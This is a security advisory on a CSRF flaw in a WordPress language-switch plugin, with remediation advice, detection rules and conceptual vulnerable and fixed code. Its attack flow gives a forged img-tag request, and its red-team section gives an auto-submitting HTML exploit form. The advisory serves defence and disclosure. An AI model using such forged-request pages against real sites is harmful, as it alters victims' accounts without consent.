CVE-2025-9623

Executive Summary

CVE-2025-9623 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Admin in English with Switch plugin for WordPress, affecting all versions up to and including 1.1. The vulnerability resides in the enable_eng function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by an authenticated administrator (e.g., via a malicious link), can silently modify the administrator’s language settings. While the CVSS score is 4.3 (Medium), the attack vector is network-based and requires user interaction, making it a social engineering risk. The plugin is part of the WordPress ecosystem, and no official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not managed through NPM, PyPI, Go, or Ruby registries. Therefore, supply chain risks are limited to the plugin’s update mechanism and the integrity of the WordPress repository. Administrators should verify plugin authenticity and monitor for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – the attack is executed remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – the attacker does not need authentication.
• User Interaction (UI): Required – the victim must click a link or visit a malicious page.
• Scope (S): Unchanged – the vulnerability affects only the vulnerable component.
• Confidentiality (C): None – no data exposure.
• Integrity (I): Low – the attacker can modify language settings, which may lead to further social engineering.
• Availability (A): None – no denial of service.

Threat Level: Medium. The impact is limited to language setting manipulation, but combined with other vulnerabilities (e.g., stored XSS in translated strings), it could be escalated.

Deep Dive & Mechanics

The Admin in English with Switch plugin provides a toggle for administrators to switch the WordPress admin interface language to English. The enable_eng function is responsible for setting this preference. The vulnerability arises because this function does not implement a nonce check (a security token that validates the request originates from the legitimate admin session). Without a nonce, an attacker can craft a request (e.g., via an HTML form or image tag) that, when loaded by an authenticated admin, changes the language setting.

Attack Flow:

1. The attacker identifies a WordPress site using the vulnerable plugin.
2. The attacker crafts a malicious link or embeds a request in a third-party site (e.g., <img src="http://target/wp-admin/admin-ajax.php?action=enable_eng&lang=en">).
3. The attacker tricks an authenticated administrator into clicking the link or visiting the malicious page.
4. The admin’s browser sends the forged request, and the plugin processes it without validating the nonce.
5. The admin’s language setting is changed, potentially causing confusion or enabling further attacks (e.g., if the admin is redirected to a phishing page mimicking the new language).

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be present in the plugin’s main file (e.g., admin-in-english-with-switch.php). The fix would involve adding a nonce check.

Vulnerable Code (Conceptual):

function enable_eng() {
    // No nonce verification
    update_user_meta(get_current_user_id(), 'admin_language', 'en');
    wp_redirect(admin_url());
    exit;
}
add_action('wp_ajax_enable_eng', 'enable_eng');

Patched Code (Conceptual):

function enable_eng() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'enable_eng_nonce')) {
        wp_die('Security check failed.');
    }
    update_user_meta(get_current_user_id(), 'admin_language', 'en');
    wp_redirect(admin_url());
    exit;
}
add_action('wp_ajax_enable_eng', 'enable_eng');

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An authenticated administrator session (the victim).

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the target site.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Lure the admin to visit the page.

Example Exploit HTML:

<!DOCTYPE html>
<html>
<body>
<h1>Click to Continue</h1>
<form action="http://target/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="enable_eng">
    <input type="hidden" name="lang" value="en">
    <input type="submit" value="Submit">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Note: Replace http://target with the actual target URL. The admin must be logged in for the request to succeed.

Blue Team (Defender)

Detection:

• Monitor for unexpected changes to admin language settings.
• Look for requests to /wp-admin/admin-ajax.php with action=enable_eng from external referrers.
• Use the detection rules below.

Mitigation:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to enable_eng without a valid nonce.
• Educate administrators about phishing and social engineering.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=enable_eng and lang=en (or other language codes).
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• Host:
  • Modified wp_usermeta table entries where meta_key is admin_language and meta_value is changed unexpectedly.
  • Plugin file admin-in-english-with-switch.php present in /wp-content/plugins/.
• Logs:
  • WordPress debug logs showing enable_eng action without nonce.

Detection Engineering

YARA Rule

rule CVE_2025_9623_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against Admin in English with Switch plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9623"
    strings:
        $action = "enable_eng"
        $ajax = "admin-ajax.php"
        $lang = "lang="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-9623 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the enable_eng action without a nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=enable_eng'
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is added in future patches
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-9623 CSRF Attempt - Admin in English with Switch";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=enable_eng"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-9623;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

1. Immediate Action: Disable the Admin in English with Switch plugin until a patched version is released.
2. Workaround: If the plugin is essential, implement a custom nonce check by editing the plugin file (see patched code above) or use a WordPress security plugin that adds CSRF protection.
3. Long-term: Monitor the WordPress Plugin Directory for updates. Consider using alternative plugins that implement proper security measures.
4. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links.
5. WAF Rules: Deploy a Web Application Firewall to block requests to admin-ajax.php with action=enable_eng from untrusted sources.

Valters IT
Securing Digital Frontiers